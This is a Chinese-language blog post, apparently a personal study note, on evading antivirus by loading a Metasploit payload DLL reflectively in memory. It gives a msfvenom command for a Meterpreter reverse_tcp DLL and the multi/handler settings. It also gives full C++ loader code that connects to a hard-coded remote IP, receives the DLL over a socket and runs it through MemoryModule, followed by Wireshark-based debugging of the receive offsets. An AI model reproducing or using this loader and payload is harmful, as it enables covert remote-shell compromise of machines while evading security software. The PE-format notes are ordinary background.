静态恶意代码逃逸2

静态恶意代码逃逸2

最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下

反射DLL加载

对于加载DLL而言,一般是通过LoadLibrary这个API来实现,但这里我们去使用memoryModule
前置知识

将该项目下载之后,主要使用的是MemoryModule.h、MemoryModule.cpp文件

记录一下报错信息与处理
wcsncpy: This function or variable may be unsafe. Consider using wcsncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

处理方法:项目属性 -> C/C++ -> 预处理器 -> 预处理器定义中加上_CRT_SECURE_NO_WARNINGS
网上说在头部加上 #define _CRT_SECURE_NO_WARNINGS宏编译也能解决问题,但我在这里实测不行

MemoryLoadLibrary:函数不接受一个参数

处理方法: 将原语句改为hModule = MemoryLoadLibrary(bFileBuffer, dwReadOfFileSize);

链接器工具错误 LINK 2001

处理方法: 生成的def文件与source.cpp文件名不一致

反射DLL与MSF

首先利用MSF来生成一个DLL,然后通过网络套接字(Socket)接受,丢到MemoryModule中,让其执行
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=8899 -f dll -o shellcode.dll

1
2
3
4
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.152.129 -P 8899
use exploit/multi/handler
set payload windows/patchupdllinject/reverse_tcp
set dll shellcode.dll

这里直接贴上客户端代码,这个代码还是很值得学习的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
#pragma comment(lib,"ws2_32.lib")

#define PAYLOAD_SIZE 1024*512
typedef BOOL (*Module)(HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved);

typedef VOID (*msg)(VOID);
PBYTE bFileBuffer = NULL;


BOOL GetPEDLL(){

DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8888;
struct sockaddr_in sin;

if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return FALSE;
}

socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return FALSE;
}

sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.138");

if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return FALSE;
}

int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

if (ret > 0)
{
closesocket(socks);
}


return TRUE;
}

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE & hBadCodeDll, LPCWSTR lpwszBadCodeFileName){
DWORD dwHighFileSize = 0;
DWORD dwLowFileSize = 0;
// 打开文件
hBadCodeDll = CreateFile(lpwszBadCodeFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL ,NULL);
if(hBadCodeDll == INVALID_HANDLE_VALUE){
return GetLastError();
}
dwLowFileSize = GetFileSize(hBadCodeDll,&dwHighFileSize);
return dwLowFileSize;
}


int main()
{

HMEMORYMODULE hModule;
Module DllMain;
bFileBuffer = new BYTE[PAYLOAD_SIZE];
GetPEDLL();
// 导入PE文件
hModule = MemoryLoadLibrary(bFileBuffer);
// 如果加载失败,就退出
if(hModule == NULL){
delete [] bFileBuffer;
return -1;
}
// 获取msg导出函数地址
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
// 运行msg函数
DllMain(0,0,0);
// 释放资源
DWORD dwThread;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)DllMain,NULL,NULL,&dwThread);

WaitForSingleObject(hThread,INFINITE);

MemoryFreeLibrary(hModule);
// 释放PE内存
delete [] bFileBuffer;
return GetLastError();
}

其中比较难以理解的就是GetPEDLL函数中的这一部分

1
2
3
4
5
6
7
8
9
10
11
int ret = 0;
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,2650,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);
ret = recv(socks,(PCHAR)bFileBuffer,4,NULL);

ZeroMemory(bFileBuffer,PAYLOAD_SIZE);


ret = recv(socks,(PCHAR)bFileBuffer,5120,NULL);

首先是recv()这个函数
函数原型int recv( _In_ SOCKET s, _Out_ char *buf, _In_ int len, _In_ int flags);
该函数的主要作用是将接收到的内容存到第二个参数所指向的缓冲区

msf
连接msf成功,传输stage 2650bytes,传输dll 8712bytes,但这仍然无法解释上述的recv代码的偏移量
于是我想到拿wireshark去抓包分析一下,看看msf一共传输了哪些东西
过滤掉源IP与目的IP之后,得到如下的TCP传输
wireshark
那我们就挨个来看一下这些包有多大,以及具体内容

一共2658bytes
4bytes
1460bytes
1194bytes

一共8712bytes
7300bytes
1412bytes

于是将上述代码改为

1
2
3
4
5
6
7
8
int ret = 0;
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);

ZeroMemory(bFileBuffer, PAYLOAD_SIZE);

ret = recv(socks, (PCHAR)bFileBuffer, 8712, NULL);

但貌似还是没有成功上线

当我一个一个包仔细看的时候,突然想到,在msfvenom生成的时候,会带有dll大小的具体信息,于是重新生成一个dll来看
msfvenom生成dll
这里可以看到dll大小为8704bytes
重新抓包分析


可以看到dll文件数据由7300+1416=8716bytes构成,意味着有12bytes需要偏移

于是将代码改为

1
2
3
4
5
6
7
8
int ret = 0;
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 12, NULL);

ZeroMemory(bFileBuffer, PAYLOAD_SIZE);

ret = recv(socks, (PCHAR)bFileBuffer, 8704, NULL);

但仍旧无法上线,可能不是这么简单的移位,这里我用邮件私信了作者,得到了解决办法

用vs调试一下,看看lpbuffer中的内存情况,找到MZ DOS头,以内存的偏移为准

于是决定深入的了解一下PE文件的结构

以这个文件为例

  1. 从文件头4D 5A(MZ)开始,跳转3C(即偏移3C)
  2. 跳转后可读取到数据为0000 00B0
  3. 再跳转到地址0000 00B0;
  4. 若该地址数据为50 45(即PE)就为PE文件。

静态恶意代码逃逸2
https://glacierrrr.online/2022/10/19/静态恶意代码逃逸2/
作者
Glacier
发布于
2022年10月19日
许可协议